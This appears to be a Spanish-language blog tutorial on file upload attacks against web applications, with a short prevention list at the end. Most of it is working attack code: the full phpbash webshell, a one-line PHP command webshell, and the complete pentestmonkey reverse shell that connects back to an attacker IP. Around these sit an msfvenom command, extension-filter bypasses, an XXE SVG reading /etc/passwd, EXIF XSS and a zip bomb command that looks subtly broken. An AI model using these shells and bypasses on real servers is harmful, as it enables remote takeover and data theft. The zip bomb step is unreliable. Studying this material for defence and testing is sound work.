Secciones
1. Introducción
A lo largo de este post revisaremos:
- ¿Qué son los ataques de carga de archivos y por qué son tan peligrosos.
- Técnicas de explotación, desde cargas arbitrarias hasta bypass de filtros.
- Ejemplos de código en PHP, ASP y Bash para poner en práctica lo aprendido.
- Estrategias de prevención y buenas prácticas para fortalecer tus sistemas.
2. ¿Por qué son tan peligrosos los ataques de carga de archivos?
Hoy en día, casi toda aplicación web necesita que los usuarios suban documentos o imágenes. En un portal corporativo quizá subas PDF con contratos; en una red social, fotos de perfil. Pero si no validas esas cargas correctamente, estarás dando la llave de tu servidor a un atacante.
Imagina permitir subir cualquier fichero sin filtros: un script PHP o ASP malicioso se graba en tu servidor, lo visitas en el navegador ¡y pum! tienes control remoto, puedes ejecutar comandos, explorar tu sistema y comprometer toda la red.
Las estadísticas hablan por sí solas: según CVE Details, las vulnerabilidades de carga de archivos (CWE-434) están entre las más frecuentes y de mayor riesgo en aplicaciones web. Muchos informes CVE clasifican estos fallos como High o Critical.
3. Tipos comunes de ataques de carga de archivos
La raíz de estos problemas suele ser una validación débil o inexistente. Veamos los escenarios más habituales:
- Carga arbitraria sin autenticación. Cualquier usuario, incluso sin loguearse, sube un archivo
.php
o.asp
y lo ejecuta. - Bypass de filtros del cliente. Se confía solo en JavaScript para validar extensiones y MIME types.
- Filtros de lista negra/whitelist mal implementados. Regex incompletos, comparaciones case-sensitive, extensiones dobles, caracteres invisibles…
- Validación de contenido (MIME y magic bytes). Sin verificar el header
Content-Type
o los bytes mágicos reales del archivo. - Ataques más avanzados. XXE en SVG, XSS a través de metadatos, DoS con ZIP bombs o pixel floods.
Cada uno de estos vectores puede explotarse para subir shells web, scripts de reverse shell o incluso documentos maliciosos que disparen XSS/XXE al abrirse.
4. Exploits paso a paso
4.1. Sin validación alguna (upload arbitrario)
Supongamos que tienes un gestor de archivos en PHP que simplemente guarda lo que le des:
// Sin validación
move_uploaded_file($_FILES['uploadFile']['tmp_name'], 'uploads/'.$_FILES['uploadFile']['name']);
- Creas un fichero
test.php
con:<?php echo "Hola DavidalVK"; ?>
- Lo subes y, al visitar
http://SERVER_IP:PORT/uploads/test.php
, ves tu mensaje. - Prueba con un webshell más poderoso, como phpbash:
<?php
/* phpbash by Alexander Reid (Arrexel) */
if (ISSET($_POST['cmd'])) {
$output = preg_split('/[\n]/', shell_exec($_POST['cmd']." 2>&1"));
foreach ($output as $line) {
echo htmlentities($line, ENT_QUOTES | ENT_HTML5, 'UTF-8') . "<br>";
}
die();
} else if (!empty($_FILES['file']['tmp_name']) && !empty($_POST['path'])) {
$filename = $_FILES["file"]["name"];
$path = $_POST['path'];
if ($path != "/") {
$path .= "/";
}
if (move_uploaded_file($_FILES["file"]["tmp_name"], $path.$filename)) {
echo htmlentities($filename) . " successfully uploaded to " . htmlentities($path);
} else {
echo "Error uploading " . htmlentities($filename);
}
die();
}
?>
<html>
<head>
<title></title>
<style>
html, body {
max-width: 100%;
}
body {
width: 100%;
height: 100%;
margin: 0;
background: #000;
}
body, .inputtext {
font-family: "Lucida Console", "Lucida Sans Typewriter", monaco, "Bitstream Vera Sans Mono", monospace;
font-size: 14px;
font-style: normal;
font-variant: normal;
font-weight: 400;
line-height: 20px;
overflow: hidden;
}
.console {
width: 100%;
height: 100%;
margin: auto;
position: absolute;
color: #fff;
}
.output {
width: auto;
height: auto;
position: absolute;
overflow-y: scroll;
top: 0;
bottom: 30px;
left: 5px;
right: 0;
line-height: 20px;
}
.input form {
position: relative;
margin-bottom: 0px;
}
.username {
height: 30px;
width: auto;
padding-left: 5px;
line-height: 30px;
float: left;
}
.input {
border-top: 1px solid #333333;
width: 100%;
height: 30px;
position: absolute;
bottom: 0;
}
.inputtext {
width: auto;
height: 30px;
bottom: 0px;
margin-bottom: 0px;
background: #000;
border: 0;
float: left;
padding-left: 8px;
color: #fff;
}
.inputtext:focus {
outline: none;
}
::-webkit-scrollbar {
width: 12px;
}
::-webkit-scrollbar-track {
background: #101010;
}
::-webkit-scrollbar-thumb {
background: #303030;
}
</style>
</head>
<body>
<div class="console">
<div class="output" id="output"></div>
<div class="input" id="input">
<form id="form" method="GET" onSubmit="sendCommand()">
<div class="username" id="username"></div>
<input class="inputtext" id="inputtext" type="text" name="cmd" autocomplete="off" autofocus>
</form>
</div>
</div>
<form id="upload" method="POST" style="display: none;">
<input type="file" name="file" id="filebrowser" onchange='uploadFile()' />
</form>
<script type="text/javascript">
var username = "";
var hostname = "";
var currentDir = "";
var previousDir = "";
var defaultDir = "";
var commandHistory = [];
var currentCommand = 0;
var inputTextElement = document.getElementById('inputtext');
var inputElement = document.getElementById("input");
var outputElement = document.getElementById("output");
var usernameElement = document.getElementById("username");
var uploadFormElement = document.getElementById("upload");
var fileBrowserElement = document.getElementById("filebrowser");
getShellInfo();
function getShellInfo() {
var request = new XMLHttpRequest();
request.onreadystatechange = function() {
if (request.readyState == XMLHttpRequest.DONE) {
var parsedResponse = request.responseText.split("<br>");
username = parsedResponse[0];
hostname = parsedResponse[1];
currentDir = parsedResponse[2].replace(new RegExp("/", "g"), "/");
defaultDir = currentDir;
usernameElement.innerHTML = "<div style='color: #ff0000; display: inline;'>"+username+"@"+hostname+"</div>:"+currentDir+"#";
updateInputWidth();
}
};
request.open("POST", "", true);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.send("cmd=whoami; hostname; pwd");
}
function sendCommand() {
var request = new XMLHttpRequest();
var command = inputTextElement.value;
var originalCommand = command;
var originalDir = currentDir;
var cd = false;
commandHistory.push(originalCommand);
switchCommand(commandHistory.length);
inputTextElement.value = "";
var parsedCommand = command.split(" ");
if (parsedCommand[0] == "cd") {
cd = true;
if (parsedCommand.length == 1) {
command = "cd "+defaultDir+"; pwd";
} else if (parsedCommand[1] == "-") {
command = "cd "+previousDir+"; pwd";
} else {
command = "cd "+currentDir+"; "+command+"; pwd";
}
} else if (parsedCommand[0] == "clear") {
outputElement.innerHTML = "";
return false;
} else if (parsedCommand[0] == "upload") {
fileBrowserElement.click();
return false;
} else {
command = "cd "+currentDir+"; " + command;
}
request.onreadystatechange = function() {
if (request.readyState == XMLHttpRequest.DONE) {
if (cd) {
var parsedResponse = request.responseText.split("<br>");
previousDir = currentDir;
currentDir = parsedResponse[0].replace(new RegExp("/", "g"), "/");
outputElement.innerHTML += "<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+originalDir+"# "+originalCommand+"</div><br>";
usernameElement.innerHTML = "<div style='color: #ff0000; display: inline;'>"+username+"@"+hostname+"</div>:"+currentDir+"#";
} else {
outputElement.innerHTML += "<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+currentDir+"# "+originalCommand+"</div><br>" + request.responseText.replace(new RegExp("<br><br>$"), "<br>");
outputElement.scrollTop = outputElement.scrollHeight;
}
updateInputWidth();
}
};
request.open("POST", "", true);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.send("cmd="+encodeURIComponent(command));
return false;
}
function uploadFile() {
var formData = new FormData();
formData.append('file', fileBrowserElement.files[0], fileBrowserElement.files[0].name);
formData.append('path', currentDir);
var request = new XMLHttpRequest();
request.onreadystatechange = function() {
if (request.readyState == XMLHttpRequest.DONE) {
outputElement.innerHTML += request.responseText+"<br>";
}
};
request.open("POST", "", true);
request.send(formData);
outputElement.innerHTML += "<div style='color:#ff0000; float: left;'>"+username+"@"+hostname+"</div><div style='float: left;'>"+":"+currentDir+"# Uploading "+fileBrowserElement.files[0].name+"...</div><br>";
}
function updateInputWidth() {
inputTextElement.style.width = inputElement.clientWidth - usernameElement.clientWidth - 15;
}
document.onkeydown = checkForArrowKeys;
function checkForArrowKeys(e) {
e = e || window.event;
if (e.keyCode == '38') {
previousCommand();
} else if (e.keyCode == '40') {
nextCommand();
}
}
function previousCommand() {
if (currentCommand != 0) {
switchCommand(currentCommand-1);
}
}
function nextCommand() {
if (currentCommand != commandHistory.length) {
switchCommand(currentCommand+1);
}
}
function switchCommand(newCommand) {
currentCommand = newCommand;
if (currentCommand == commandHistory.length) {
inputTextElement.value = "";
} else {
inputTextElement.value = commandHistory[currentCommand];
setTimeout(function(){ inputTextElement.selectionStart = inputTextElement.selectionEnd = 10000; }, 0);
}
}
document.getElementById("form").addEventListener("submit", function(event){
event.preventDefault()
});
</script>
</body>
</html>
- Sube
phpbash.php
, accede a.../uploads/phpbash.php
y tendrás un prompt estilo terminal.
Escritura manual de un webshell:
<?php system($_REQUEST['cmd']); ?>
Sube shell.php
y luego visita ...?cmd=id
para ver tu UID/GID en el servidor.
4.2. Reverse shell en PHP
Usa pentestmonkey/php-reverse-shell: edita las líneas 49–50:
$ip = 'TU_IP'; // CAMBIA ESTO
$port = TU_PUERTO; // CAMBIA ESTO
Código Pentestmonkey-php-reverse-shell:
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. The author accepts no liability
// for damage caused by this tool. If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only. Users take full responsibility
// for any actions performed using this tool. If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
set_time_limit (0);
$VERSION = "1.0";
$ip = '127.0.0.1'; // CHANGE THIS
$port = 1234; // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
//
// Daemonise ourself if possible to avoid zombies later
//
// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies. Worth a try...
if (function_exists('pcntl_fork')) {
// Fork and have the parent process exit
$pid = pcntl_fork();
if ($pid == -1) {
printit("ERROR: Can't fork");
exit(1);
}
if ($pid) {
exit(0); // Parent exits
}
// Make the current process a session leader
// Will only succeed if we forked
if (posix_setsid() == -1) {
printit("Error: Can't setsid()");
exit(1);
}
$daemon = 1;
} else {
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
}
// Change to a safe directory
chdir("/");
// Remove any umask we inherited
umask(0);
//
// Do the reverse shell...
//
// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
printit("$errstr ($errno)");
exit(1);
}
// Spawn shell process
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("pipe", "w") // stderr is a pipe that the child will write to
);
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) {
printit("ERROR: Can't spawn shell");
exit(1);
}
// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
// Check for end of TCP connection
if (feof($sock)) {
printit("ERROR: Shell connection terminated");
break;
}
// Check for end of STDOUT
if (feof($pipes[1])) {
printit("ERROR: Shell process terminated");
break;
}
// Wait until a command is end down $sock, or some
// command output is available on STDOUT or STDERR
$read_a = array($sock, $pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send
// data to process's STDIN
if (in_array($sock, $read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock, $chunk_size);
if ($debug) printit("SOCK: $input");
fwrite($pipes[0], $input);
}
// If we can read from the process's STDOUT
// send data down tcp connection
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
fwrite($sock, $input);
}
// If we can read from the process's STDERR
// send data down tcp connection
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
fwrite($sock, $input);
}
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
if (!$daemon) {
print "$string\n";
}
}
?>
- Inicia
nc -lvnp TU_PUERTO
en tu máquina. - Sube
php-reverse-shell.php
y visítalo. - ¡Conexión inversa recibida! Esto te da la shell remota.
También puedes generarlo con msfvenom:
msfvenom -p php/reverse_php LHOST=TU_IP LPORT=TU_PUERTO -f raw > reverse.php
5. Cómo burlarse de los filtros comunes
5.1. Validación solo en cliente
Suele ejecutarse un onchange="checkFile(this)"
con JS:
function checkFile(file) {
let ext = file.name.split('.').pop();
if (!['jpg','png','gif'].includes(ext)) {
alert('Solo imágenes');
file.form.reset();
return;
}
}
Échale un delete element.onchange
desde las DevTools o envía la petición directa con Burp, cambiando el filename
a shell.php
y el cuerpo al contenido PHP.
5.2. Lista negra de extensiones
$ext = pathinfo($_FILES['uploadFile']['name'], PATHINFO_EXTENSION);
$blacklist = ['php','phps','php7'];
if (in_array($ext, $blacklist)) die('Prohibido');
Bypass:
- Variar mayúsculas:
PhP
. - Extensión poco común:
.phtml
,.phar
. shell.phtml
oshell.phtml?.jpg
.
5.3. Lista blanca mal construida
if (!preg_match('/^.*\.(jpg|jpeg|png)$/', $fileName)) die('Solo imágenes');
- Extensiones dobles:
shell.jpg.php
. - Orden inverso en Apache mal configurado:
shell.php.jpg
ejecuta.php
. - Inyección de caracteres:
%00
,%20
, `
5.4. Validación de tipo y firma (MIME y magic bytes)
// Comprobar el tipo MIME real
$finfo = finfo_open(FILEINFO_MIME_TYPE);
$mime = finfo_file($finfo, $_FILES['uploadFile']['tmp_name']);
$allowed = ['image/jpeg','image/png','application/pdf'];
if (!in_array($mime, $allowed)) die('Tipo no permitido');
finfo_close($finfo);
5.5. Ataques XXE en archivos SVG
Un atacante puede incrustar una entidad externa en un SVG:
<?xml version="1.0"?>
<!DOCTYPE svg [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<svg xmlns="http://www.w3.org/2000/svg">
<text>&xxe;</text>
</svg>
Al cargarlo y procesarlo con parsers XML inseguros, se filtra contenido sensible.
5.6. XSS a través de metadatos de imágenes
En JPEG se pueden inyectar scripts en los campos EXIF:
# Inyectar payload en metadata
exiftool -Comment='<script>alert(1)</script>' imagen.jpg
Si tu visor web muestra esos comentarios sin escapar, ejecutará el script.
5.7. DoS con ZIP bombs o pixel floods
# ZIP bomb: muy pequeño comprimido, gigante al descomprimir
zip bomb.zip $(yes largefile | head -n 1000000)
6. Prevención y buenas prácticas
- Validar siempre en servidor:
- Lista blanca de extensiones estricta.
- Comprobar bytes mágicos (
mime_content_type
). - Limitar tamaño y renombrar uploads.
- Sandboxing y permisos mínimos.
- Escaneo de virus antes de almacenar.
- Logs y alertas para detección temprana.
- Entornos de prueba para validar cambios.